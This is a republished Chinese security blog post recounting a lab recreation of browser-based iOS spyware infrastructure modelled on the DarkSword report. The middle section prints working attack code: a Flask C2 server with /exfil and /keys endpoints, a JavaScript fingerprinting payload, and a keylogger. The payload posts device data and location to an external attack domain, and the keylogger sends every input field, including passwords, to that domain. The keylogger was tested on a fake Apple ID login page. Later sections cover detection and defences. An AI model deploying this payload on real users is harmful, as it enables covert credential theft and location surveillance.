文章总结: 该文档记录了作者在受控环境中复现DarkSword间谍软件基础设施的研究过程,重点探讨了基于浏览器的iOS攻击中JavaScript可窃取的设备信息范围。研究通过三阶段C2服务器(静默指纹采集、键盘记录、持续监控)实际捕获了设备型号、屏幕参数、地理位置及实时按键数据,证实纯JavaScript可进行有效侦察但受沙箱限制无法获取核心敏感数据。文档同时分析了攻击的防御检测特征及局限性。 综合评分: 82 文章分类: 移动安全,恶意软件,渗透测试,漏洞分析,安全建设
DarkSword:构建基于浏览器的 iOS 平台 C2 研究
haidragon haidragon
安全狗的自我修养
2026年5月14日 12:13 湖南
在小说阅读器读本章
去阅读
官网:http://securitytech.cc
我如何重现商业间谍软件基础设施,以了解 JavaScript 究竟能从你的 iPhone 上窃取什么信息
2026年3月,谷歌威胁分析小组发布了DarkSword报告,大多数人关注的是其中的六个CVE漏洞以及零点击攻击链。但我更想了解的是:攻击者在尝试内核攻击之前,究竟能从移动浏览器中获取哪些信息?
本文记录了我构建命令与控制服务器的实际研究过程、我捕获的真实数据,以及这对 2026 年移动安全意味着什么。
⚠️免责声明:所有测试均在受控环境(Corellium)下,使用我的个人设备进行,仅用于教育目的。请勿将这些技术用于未经授权的目标。
这项研究为何重要
DarkSword 不仅仅是另一个 iOS 漏洞利用程序。它代表着移动监控方式的根本性转变:
- 无需安装任何应用——所有操作都在 Safari 浏览器中完成。
- 没有 MDM 配置文件——设备管理中没有任何显示。
- 没有可见的持久性——没有图标,也没有设置项
- 只需一个链接——轻轻一点,剥削就开始了。
在深入进行内核漏洞利用(这需要稀有且代价高昂的CVE漏洞)之前,攻击者需要进行侦察。本研究探讨的正是这一点:完全在JavaScript中发生的预渗透阶段。
实验室设置
基础设施
为了进行真实模拟的测试,我需要能够模拟真实攻击的基础设施:
云环境:
- Corellium iOS VM(iOS 18.4 — 存在漏洞的版本)
- 用于 C2 服务器的公网 IP VPS
- 已注册域名:
darksword.cloudportal247.site
为什么要使用真实域名?现代 iOS 系统要求敏感 API(例如地理位置、传感器和摄像头)使用 HTTPS。自签名证书无法满足要求。
本地测试:
- Windows 11 搭配 WSL
- Python 3.14 后端
- 使用 Flask + SocketIO 进行实时数据外泄
域名注册
我darksword.cloudportal247.site通过 Cloudflare 注册并获得了 Let’s Encrypt SSL 证书。这是必须的,因为:
- iOS 会阻止 HTTP 请求(即使是 localhost)上的地理位置定位。
- 现代浏览器要求传感器 API 使用 HTTPS。
- 真正的攻击者会使用看似合法的域名。
总费用:域名 12 美元 + SSL(Let’s Encrypt)0 美元。
构建 C2 服务器
C2架构由三个阶段组成,反映了真实商业间谍软件的运行方式:
第一阶段:静默指纹采集
无需触发任何权限即可收集设备/浏览器元数据:
Python
@ app.route ( '/exfil' , methods=[ 'POST' ]) def exfil (): data = request.get_json ( ) timestamp = datetime.now ( ). strftime ( "%Y%m%d_%H % M%S" ) filename = f "exfil_{timestamp}.json" with open (filename, 'w' ) as f : json.dump (data, f, indent= 2 ) print (f "[+] Stage 1 data received: {filename}" ) return jsonify ( { "status" : "ok" })
收集的内容:
- 用户代理字符串(设备型号,iOS 版本)
- 屏幕分辨率和像素比
- 时区和语言
- 硬件性能(CPU核心数、内存)
- 电池状态
- 网络连接类型
- 已安装的浏览器插件
第二阶段:键盘记录
捕获表单中输入的每个字符:
Python
@app.route( '/keys' , methods=[ 'POST' ] )
def keys ():
data = request.get_json()
timestamp = datetime.now().strftime( "%Y%m%d_%H%M%S" )
millis = datetime.now().microsecond // 1000
filename = f"keys_ {timestamp} _ {millis} .json"
with open (filename, 'w' ) as f:
json.dump(data, f, indent= 2 )
print ( f"[+] Keystroke: {data.get( 'field' )} = {data.get( 'value' )} " )
return jsonify({ "status" : "ok" })
第三阶段:持续监测
用于持续数据收集的长期连接(在我的研究中尚未完全实现,但该端点存在于实际攻击中)。
客户端有效载荷
受害者Safari浏览器中运行的JavaScript代码功能强大得令人惊讶:
JavaScript
async function stage1_fingerprint() {
const data = {
metadata: {
timestamp: new Date().toISOString() ,
collector: "DarkSword-Advanced" ,
version: "1.0"
},
device: {
userAgent: navigator.userAgent ,
platform: navigator.platform ,
vendor: navigator.vendor ,
hardwareConcurrency: navigator.hardwareConcurrency ,
maxTouchPoints: navigator.maxTouchPoints ,
deviceMemory: navigator.deviceMemory
},
screen: {
width: screen.width ,
height: screen.height ,
colorDepth: screen.colorDepth ,
pixelRatio: window.devicePixelRatio
},
geolocation: await getLocation() ,
battery: await getBattery()
} ;
await fetch('https://darksword.cloudportal247.site/exfil' , {
method: 'POST' ,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
} );
}
键盘记录器就更简单了:
JavaScript
document.addEventListener ( ' keyup ' , (e) => {
const target = e.target;
if (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA' ) {
fetch ( 'https://darksword.cloudportal247.site/keys' , {
method : 'POST' ,
headers : { 'Content-Type' : 'application/json' } ,
body : JSON.stringify ({
field : target.id || target.name,
value : target.value,
isPassword : target.type === 'password' ,
url : window.location.href,
timestamp : Date.now () }) }); } });
每一次按键。每一个输入。实时发送。
我实际拍摄到的
测试 1:对照测试(桌面浏览器)
首先,我用我的 Windows 笔记本电脑访问 C2 服务器,验证了 C2 服务器是否正常工作。
结果: exfil_20260407_024528.json
JSON
{
"device" : {
"userAgent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...." ,
"platform" : "Win32" ,
"hardwareConcurrency" : 4 ,
"deviceMemory" : 4
} ,
"geolocation" : {
"latitude" : 41.895292 ,
"longitude" : 12.439891 ,
"accuracy" : 97
}
}
主要发现:授予权限后(浏览器弹出提示),地理定位功能立即生效。精度:97米——足以识别我在罗马的建筑物。
测试 2:iPhone 在 Corellium 系统上的测试
然后我在一台运行 iOS 18.4 的虚拟机上加载了恶意页面:
结果: exfil_20260407_030453.json
JSON
{
"device": {
"userAgent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6...)" ,
"platform" : "iPhone" ,
"hardwareConcurrency" : 4 ,
"maxTouchPoints" : 5
},
"screen": {
" width ": 393 ,
"height" : 852 ,
"pixelRatio" : 3
}
}
设备指纹识别成功:
- 正确识别为 iPhone
- 屏幕分辨率与 iPhone 14 Pro 相同
- 检测到 iOS 18.6
- 暴露的 4 个 CPU 核心
测试 3:键盘记录器
我创建了一个虚假的 Apple ID 登录页面来测试键盘输入捕获功能:
结果:当我在用户名栏输入“str”时,捕获到两个JSON文件:
JSON
// keys_20260407_044212_138.json
{
"field" : "apple_id" ,
"value" : "str" ,
"isPassword" : false ,
"timestamp" : 1775529732034
}
// keys_20260407_044212_424.json
{
"field": "apple_id",
"value": "strn",
"isPassword": false,
"timestamp": 1775529732334
}
每一次按键。每300毫秒。甚至在表单提交之前。
在真正的攻击中,攻击者会在你点击“登录”之前就掌握你的全部凭证。
.ipa 实验(以及我们放弃它的原因)
最初,我计划为第二阶段(即后渗透阶段)创建一个恶意 iOS 应用(.ipa文件),以逃离浏览器沙箱。
理论如下:
- 受害者点击恶意链接(第一阶段)
- JavaScript提示:“请安装安全更新以继续”
- 用户下载/安装
.ipa - 该应用提供沙箱外的持久访问权限
我们为什么停止了
在研究过程中,我发现:
泄露的 DarkSword 代码库中已经包含了该.ipa文件,我不需要重新构建它。
更重要的是,我意识到创建一个令人信服的 .ipa 文件比编写 JavaScript 有效载荷要难得多:
- 需要盗取的苹果开发者证书($$$)
- 企业证书由苹果公司跟踪。
- MDM 注册信息会显示在“设置”中。
- 安装提示可疑
仅限浏览器的方式实际上更隐蔽:
✅ 无安装提示 ✅ 无可见应用图标 ✅ 无 MDM 配置 ✅ 无 App Store 评论 ✅ 可在任何可通过浏览器访问的 iOS 版本上运行
所以我转而专注于最大限度地发挥纯 JavaScript 的功能。
JavaScript 可以(以及不能)窃取什么
根据我的测试,完整的情况如下:
✅ 无需权限即可使用
页面加载后,这些信息就会立即显示出来:
- 设备型号和 iOS 版本
- 屏幕分辨率和像素比
- 浏览器类型和版本
- 时区和语言设置
- CPU核心数和内存容量
- 触控功能
- 电池电量和充电状态
- 网络连接类型
- 画布指纹(唯一标识符)
- WebGL 指纹
- 所有 Cookie
- 本地存储和会话存储
⚠️ 需经用户许可方可查看
这些都需要提示(但社会工程学方法也有效):
- GPS坐标(精确到10-100米)
- 摄像头访问权限(实时视频流)
- 麦克风接入(实时音频)
- 运动传感器(加速度计、陀螺仪)
- 剪贴板内容(在某些交互情况下)
❌ 不可用(沙盒保护)
即使拥有完整的 JavaScript 访问权限,您也无法访问:
- 已保存的密码(钥匙串)
- 短信或iMessage内容
- 浏览器外的照片
- 来自其他应用程序的文件
- WhatsApp/Telegram数据库
- 通话记录
- 联系人列表
这就是为什么 DarkSword 需要 6 个 CVE 漏洞的原因。浏览器沙箱机制确实有效。单靠 JavaScript 可以进行侦察,但无法获取核心信息。
按回车键或点击查看完整尺寸的图片
蓝队会看到什么
从防守方的角度来看,这种攻击会留下痕迹:
网络层
DNS 查询:darksword.cloudportal247.site
TLS SNI:darksword.cloudportal247.site
HTTP POST /exfil (3.1 KB)
HTTP POST /keys (多个 200 字节请求)
危险信号:
- 新注册域名(❤0 天)
- 来自浏览器的重复 POST 请求
- 将 JSON 有效负载发送到异常端点
- 连续的交通模式
浏览器级别
如果开发者工具已打开(这种情况很少见):
JavaScript
[+]已接收第一阶段数据
[+]已捕获按键:apple_id = s
[+] 已捕获按键:apple_id = st
终点级别
Safari 网页内容:CPU 使用率高,页面后台运行时
网络活动频繁,持续执行 JavaScript 代码
问题在于:大多数用户(以及许多移动设备管理解决方案)不会监控这种情况。Safari 浏览器是受信任的,JavaScript 也是正常的,因此攻击很容易被掩盖。
防御基于浏览器的攻击
个人用户
1. 启用锁定模式
这是核选项,但效果显著:
设置→隐私与安全→锁定模式
这将禁用:
- JIT JavaScript 编译(会降低漏洞利用的可靠性)
- WebGL 和复杂字体(会破坏指纹识别)
- 一些传感器API
权衡:有些网站会崩溃。但如果你是高价值目标(记者、活动家、高管),这是必须的。
2. 使用 DNS 层屏蔽
屏蔽新注册的域名:
- NextDNS
- AdGuard DNS
- 在家使用 Pi-hole
3. 审核 Safari 设置
设置 → Safari 浏览器 → 隐私与安全
→ 阻止跨网站跟踪:开启
→ 阻止所有 Cookie:开启(严格但更安全)
→ 欺诈性网站警告:开启
这项研究的主要启示
1. JavaScript 被低估了
安全团队主要关注:
- 恶意应用程序(
.ipa文件) - 网络钓鱼(凭证窃取)
- 网络攻击(中间人攻击、DNS投毒)
但基于浏览器的 JavaScript 攻击却难以察觉。无需安装,无需持久化,仅仅是进行侦察,为下一步行动铺平道路。
2. 沙盒是你的朋友
尽管收集到了大量数据,但我却无法:
- 访问文件系统
- 读取其他应用的数据
- 轻松实现浏览器重启后数据依然有效
iOS 沙箱机制确实有效。正因如此,像 DarkSword 这样的真正漏洞利用程序才会投入大量资源来开发沙箱逃逸漏洞。单靠 JavaScript 不足以进行持续监控。
3. 社会工程是薄弱环节
最敏感的数据(GPS、摄像头、麦克风)仍然需要用户许可。但人性是可以预测的:
- “启用位置信息以获取天气信息”
- “允许摄像头扫描二维码”
- “授予语音搜索麦克风权限”
我们不假思索地点击了“允许”。
4. 域名年龄很重要
我的域名注册于2026年4月6日。任何检查域名年龄的DNS安全产品都会立即将其标记出来。
本研究的局限性
我没有测试的内容:
❌实际 CVE 漏洞利用——我只测试了数据收集,没有测试内核访问。❌ 长期持久性——真正的攻击会维持数周/数月的访问权限 。❌ iOS 版本低于 18.4——旧版本可能具有不同的功能 。❌真实的钓鱼活动——我使用的是 Corellium 模拟器,而非真实受害者。
为什么会有这些限制?
- 在生产设备上利用真实的CVE漏洞是违法的。
- 持续的C2测试需要我没有的基础设施。
- 现实世界中的网络钓鱼是不道德的。
这项研究着重探讨了仅使用 JavaScript 可以实现的功能——这本身就已经意义非凡。
商业间谍软件问题
DarkSword并非学术界的奇闻异事。根据谷歌标签显示:
UNC6748(沙特阿拉伯) ——用于攻击国内目标; PARS Defense(土耳其) ——商业供应商向各国政府销售; UNC6353(俄罗斯) ——用于攻击乌克兰目标。
这就是监控的商品化。你不再需要一支顶尖的黑客团队——你只需要预算和供应商。
扩散时间线
- 2025年11月:首次发现暗剑
- 2025年12月:跨境业务开始
- 2026年1月:向多个政府提供商业报价
- 2026年3月:谷歌TAG公开披露
从首次使用到公众知晓,历时四个月。在此期间,数百(甚至数千?)个目标遭到入侵。
结论:JavaScript 是一个攻击面
建造一个类似《黑暗之剑》的C2让我明白:
- 基于浏览器的攻击非常有效——侦察不需要内核访问权限
- JavaScript 功能强大——指纹识别揭示了大量情报
- 沙箱机制(大部分情况下)有效——但它们无法阻止那些拥有CVE漏洞的执着攻击者。
- 只要知道该注意什么,就能检测到。
对于安全社区而言:切勿忽视 JavaScript 威胁。DarkSword 攻击始于浏览器漏洞利用,这证明现代浏览器是一个切实可行且被低估的攻击面。
对于防御者而言:监控 DNS、检查 TLS、培训用户。只要用心查找,这些攻击都是可以检测到的。
对于高风险目标群体而言:封锁模式并非杞人忧天,而是一种保障。
资源与延伸阅读
原创研究:
- Google TAG DarkSword 报告(2026 年 3 月)
- 苹果安全更新:iOS 18.7.3、26.3
使用工具:
- Corellium(iOS虚拟机测试)
- Python Flask(C2 服务器)
- Let’s Encrypt(SSL证书)
快速参考命令
对于想要(合乎伦理地)复现此操作的安全研究人员:
狂欢
# 设置 C2 服务器
python3 server.py
# 检查域名年龄(开源情报)
whois your-domain.com | grep "Creation"# 监控 DNS 查询(防御性)
tcpdump -i any -n port 53 | grep suspect# 阻止域名(本地)
echo "0.0.0.0 malware.com" >> /etc/hosts# 分析捕获的 JSON
jq '.geolocation' exfil_*.json
jq '.device.userAgent' exfil_*.json
最后声明:本研究完全在个人设备和受控基础设施上进行,仅用于教育目的。所有测试均合法合规。请勿将这些技术用于未经授权的目标。未经授权访问计算机系统在全球范围内均属违法行为
-
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《DarkSword:构建基于浏览器的 iOS 平台 C2 研究》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论